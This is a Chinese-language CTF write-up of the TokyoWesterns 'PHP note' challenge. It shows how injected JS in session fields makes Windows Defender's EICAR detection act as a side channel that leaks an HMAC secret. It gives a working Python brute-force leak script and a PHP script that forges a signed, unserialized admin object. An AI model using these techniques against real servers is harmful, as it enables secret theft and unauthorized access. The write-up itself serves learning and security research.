最近上班很忙,玩的时间少,希望尽量做到每个比赛学习一道自己觉得有意思的题目。
<!--more-->
从响应中发现一个有趣的字段,该题目的搭建环境为Windows10
Server: Microsoft-IIS/10.0
题目给出一个简单的登录表单,注册并登陆,从html源码里看到提示:
<!-- <a href="/?action=source">source</a> -->
直接获取php源码:
<?php
include 'config.php';
class Note {
public function __construct($admin) {
$this->notes = array();
$this->isadmin = $admin;
}
public function addnote($title, $body) {
array_push($this->notes, [$title, $body]);
}
public function getnotes() {
return $this->notes;
}
public function getflag() {
if ($this->isadmin === true) {
echo FLAG;
}
}
}
function verify($data, $hmac) {
$secret = $_SESSION['secret'];
if (empty($secret)) return false;
return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}
function hmac($data) {
$secret = $_SESSION['secret'];
if (empty($data) || empty($secret)) return false;
return hash_hmac('sha256', $data, $secret);
}
function gen_secret($seed) {
return md5(SALT . $seed . PEPPER);
}
function is_login() {
return !empty($_SESSION['secret']);
}
function redirect($action) {
header("Location: /?action=$action");
exit();
}
$method = $_SERVER['REQUEST_METHOD'];
$action = $_GET['action'];
if (!in_array($action, ['index', 'login', 'logout', 'post', 'source', 'getflag'])) {
redirect('index');
}
if ($action === 'source') {
highlight_file(__FILE__);
exit();
}
session_start();
if (is_login()) {
$realname = $_SESSION['realname'];
$nickname = $_SESSION['nickname'];
$note = verify($_COOKIE['note'], $_COOKIE['hmac'])
? unserialize(base64_decode($_COOKIE['note']))
: new Note(false);
}
if ($action === 'login') {
if ($method === 'POST') {
$nickname = (string)$_POST['nickname'];
$realname = (string)$_POST['realname'];
if (empty($realname) || strlen($realname) < 8) {
die('invalid name');
}
$_SESSION['realname'] = $realname;
if (!empty($nickname)) {
$_SESSION['nickname'] = $nickname;
}
$_SESSION['secret'] = gen_secret($nickname);
}
redirect('index');
}
if ($action === 'logout') {
session_destroy();
redirect('index');
}
if ($action === 'post') {
if ($method === 'POST') {
$title = (string)$_POST['title'];
$body = (string)$_POST['body'];
$note->addnote($title, $body);
$data = base64_encode(serialize($note));
setcookie('note', (string)$data);
setcookie('hmac', (string)hmac($data));
}
redirect('index');
}
if ($action === 'getflag') {
$note->getflag();
}
?>
<!doctype html>
<html>
<head>
<title>PHP note</title>
</head>
<style>
textarea {
resize: none;
width: 300px;
height: 200px;
}
</style>
<body>
<?php
if (!is_login()) {
$realname = htmlspecialchars($realname);
$nickname = htmlspecialchars($nickname);
?>
<form action="/?action=login" method="post" id="login">
<input type="text" id="firstname" placeholder="First Name">
<input type="text" id="lastname" placeholder="Last Name">
<input type="text" name="nickname" id="nickname" placeholder="nickname">
<input type="hidden" name="realname" id="realname">
<button type="submit">Login</button>
</form>
<?php
} else {
?>
<h1>Welcome, <?=$realname?><?= !empty($nickname) ? " ($nickname)" : "" ?></h1>
<a href="/?action=logout">logout</a>
<!-- <a href="/?action=source">source</a> -->
<br/>
<br/>
<?php
foreach($note->getnotes() as $k => $v) {
list($title, $body) = $v;
$title = htmlspecialchars($title);
$body = htmlspecialchars($body);
?>
<h2><?=$title?></h2>
<p><?=$body?></p>
<?php
}
?>
<form action="/?action=post" method="post">
<input type="text" name="title" placeholder="title">
<br>
<textarea name="body" placeholder="body"></textarea>
<button type="submit">Post</button>
</form>
<?php
}
?>
<?php
?>
<script>
document.querySelector("form#login").addEventListener('submit', (e) => {
const nickname = document.querySelector("input#nickname")
const firstname = document.querySelector("input#firstname")
const lastname = document.querySelector("input#lastname")
document.querySelector("input#realname").value = `${firstname.value} ${lastname.value}`
if (nickname.value.length == 0 && firstname.value.length > 0 && lastname.value.length > 0) {
nickname.value = firstname.value.toLowerCase()[0] + lastname.value.toLowerCase()
}
})
</script>
</body>
</html>
分析代码可知:获取flag需要调用Note
类中的getflag
函数,并且类中成员$this->isadmin === true
。
若能成功找到可控的反序列化漏洞点,就能控制成员变量,反序列化点如下:
$note = verify($_COOKIE['note'], $_COOKIE['hmac'])
? unserialize(base64_decode($_COOKIE['note']))
: new Note(false);
这里对$_COOKIE['note']
变量进行了反序列化,但只有通过verify($_COOKIE['note'], $_COOKIE['hmac'])
函数的校验,才能进行反序列化,查看verify
函数:
function verify($data, $hmac)
{
$secret = $_SESSION['secret'];
if (empty($secret)) return false;
return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}
使用了安全的hash_equals
函数进行比较hash,$_SESSION['secret']
作为使用 HMAC 生成信息摘要时所使用的密钥。$_SESSION['secret']
的生成方式如下:
if ($action === 'login') {
....................
$_SESSION['secret'] = gen_secret($nickname);
}
redirect('index');
}
在登录时通过gen_secret
函数生成:
function gen_secret($seed)
{
return md5(SALT . $seed . PEPPER);
}
$_SESSION['secret']
根据我们可控的$nickname
和两个未知的常量md5后生成。
verify
函数的整个校验过程非常的强壮,逻辑上并不存在问题。
Windows 10 内置的可靠防病毒保护来确保 PC 安全。Windows Defender 防病毒提供全面、持续和实时的保护,以抵御电子邮件、应用、云和 Web 上的病毒、恶意软件和间谍软件等软件威胁。
Windows Defender默认开启,其中包括实时保护功能。
该功能会对系统中新生成的文件进行扫描分析判断是否为恶意文件,扫描的文件内容支持常规的恶意软件特征,还包括Web中的Html,JavaScript等。
mpengine.dll
是Windows Defender
实现防御功能中重要的DLL,通过mpengine.dll
实现了一个基本的Web沙盒引擎,包括HTML标签的解析,JavaScript包含字符串、对象等解析的基本引擎,完成对挖矿等Web恶意代码的检测。
经典的恶意测试代码:
X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
在Windows Defender
中的实现的Web沙盒引擎中,会执行内容中的JS代码,将恶意测试代码作为参数传入javascript中的eval
,将会触发拦截:
<script>
//document.body.innerHTML; 同时需要包含document.body.innerHTML,不然无法触发拦截
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
eval(mal);
</script>
触发Windows Defender
后会导致文件访问被拦截,并将恶意代码替换为空:
利用Windows Defender特性,可以leak secret:
题目中我们可控的几个输入变量会到$_SESSION
中,那么最后都会作为文件存入服务器,都会经过Windows Defender
的扫描检测。
向session文件中注入精心构造的HTML和JS代码,使secret内容成为body,沙盒引擎执行JS对secret
进行猜解,猜解成功则触发Windows Defender
对session文件进行拦截和修改,session文件损坏,通过账户是否能够正常登录作为侧信道进行判断。
根据如上思路,构造猜解body中secret的Demo如下:
<body>secret</body>
<script>
var body = document.body.innerHTML;
var a = {1: ''};
var x = a[Number(body.charCodeAt(0) == 115)];
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" + x;
eval(mal);
//console.log(mal)
</script>
经过测试Windows Defender发现如下特性:
默认情况下(和空字符拼接)的恶意测试代码进入eval
将被Windows Defender检测
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" + "";
eval(mal);
和其他字符拼接的恶意测试代码进入eval
将无法被Windows Defender检测
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" + x;
eval(mal);
首先获取body中的字符串内容,然后定义对象a
,然后返回指定0位的字符的Unicode码和猜解的115进行比较,两者相等,比较结果为true
然后经过Number
转换为数字1,然后将1作为对象访问索引访问对象a
,获取空字符串和恶意测试代码进行拼接,并传入eval,触发Windows Defender拦截并替换内容;若前面比较时不相等,则不触发Windows Defender。
本地搭建环境,提交测试参数如下:
session文件如下:
realname|s:18:"FirstName LastName";nickname|s:8:"NickName";secret|s:32:"3d5fb7437288f6966e4dbe5fabb1b64f";
观察发现我们可控的realname
和nickname
都在前面,无法注入<body></body>
包裹secret,这样的顺序和位置很重要,需要secret在中间。
if ($action === 'login') {
if ($method === 'POST') {
$nickname = (string)$_POST['nickname'];
$realname = (string)$_POST['realname'];
if (empty($realname) || strlen($realname) < 8) {
die('invalid name');
}
$_SESSION['realname'] = $realname;
if (!empty($nickname)) {
$_SESSION['nickname'] = $nickname;
}
$_SESSION['secret'] = gen_secret($nickname);
}
redirect('index');
}
login的行为可以多次进行,这意味着可以修改session文件存储内容,并且$realname
是必须存在,但$nickname
并非必要。
第一次发送请求只包含$realname
,$nickname
为空,realname=111111<body>
,session文件如下:
realname|s:12:"111111<body>";secret|s:32:"aab9ba42b5591219a5b20e34e0c83b78";
第二次发送请求,realname=111111<body>&nickname=</body>
,session文件如下:
realname|s:12:"111111<body>";secret|s:32:"1cfd6d24dfd62963df7324feb1faf6fd";nickname|s:7:"</body>";
可以看到secret已经被<body>
标签包裹,然后继续注入猜解body的JS。
这里我们只能将JS注入在realname
中,因为nickname
会被用于生成secret
,所以我们让其始终为</body>
。
$_SESSION['secret'] = gen_secret($nickname);
也就是将变为三个常量拼接成为MD5参数:
md5(SALT . '</body>' . PEPPER);
这样生成secret
将不会随着realname
中的payload进行变化,修改realname中的内容如下:
<script>
var body = document.body.innerHTML;
var a = {1: ''};
var x = a[Number(body.charCodeAt(10) == 0)];
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" + x;
eval(mal);
</script><body>
再次发送请求,查看session文件:
realname|s:280:"<script>
var body = document.body.innerHTML;
var a = {1: ''};
var x = a[Number(body.charCodeAt(10) == 0)];
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" + x;
eval(mal);
</script><body>";secret|s:32:"1cfd6d24dfd62963df7324feb1faf6fd";nickname|s:7:"</body>";
变成和Demo一样了,只不过<body>
标签在后面了。
最终leak secret exp如下:
# coding=utf-8
import requests
if __name__ == "__main__":
url = "http://phpnote.chal.ctf.westerns.tokyo/"
session = ""
for index in range(10,64):
s = requests.Session()
for x in range(256):
data = {"realname": "xxxxxxxxxxxx"}
s.post(url + "/?action=login", data=data)
payload = '''<script>
var body = document.body.innerHTML;
var a = {1: ''};
var x = a[Number(body.charCodeAt(''' + str(index) + ''') == ''' + str(x) + ''')];
var mal = "X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*" + x;
eval(mal);
</script><body>'''
print(payload)
data = {"realname": payload, 'nickname': '</body>'}
s.post(url + "/?action=login", data=data)
rs = s.get(url + "/?action=index")
print(str(index) + ' ' + str(x))
if ('Login' in rs.text):
session = session + chr(x)
print("session : " + session)
break
else:
pass
当</body>
作为nickname
时leak出secret
值如下:
session : ";secret|s:32:"2532bd172578d19923e5348420e02320";
构造反序列化脚本如下:
//原脚本
$n = new Note(True);
$n = base64_encode(serialize($n));
$hmac = hash_hmac('sha256', $n, '2532bd172578d19923e5348420e02320');
echo 'note : ' . $n . "<br>";
echo 'hmac : ' . $hmac;
exit();
nickname
为</body>
登录,创建包含leak secret session,然后cookie发送反序列化payload获取flag
flag
TWCTF{h0pefully_I_haven't_made_a_m1stake_again}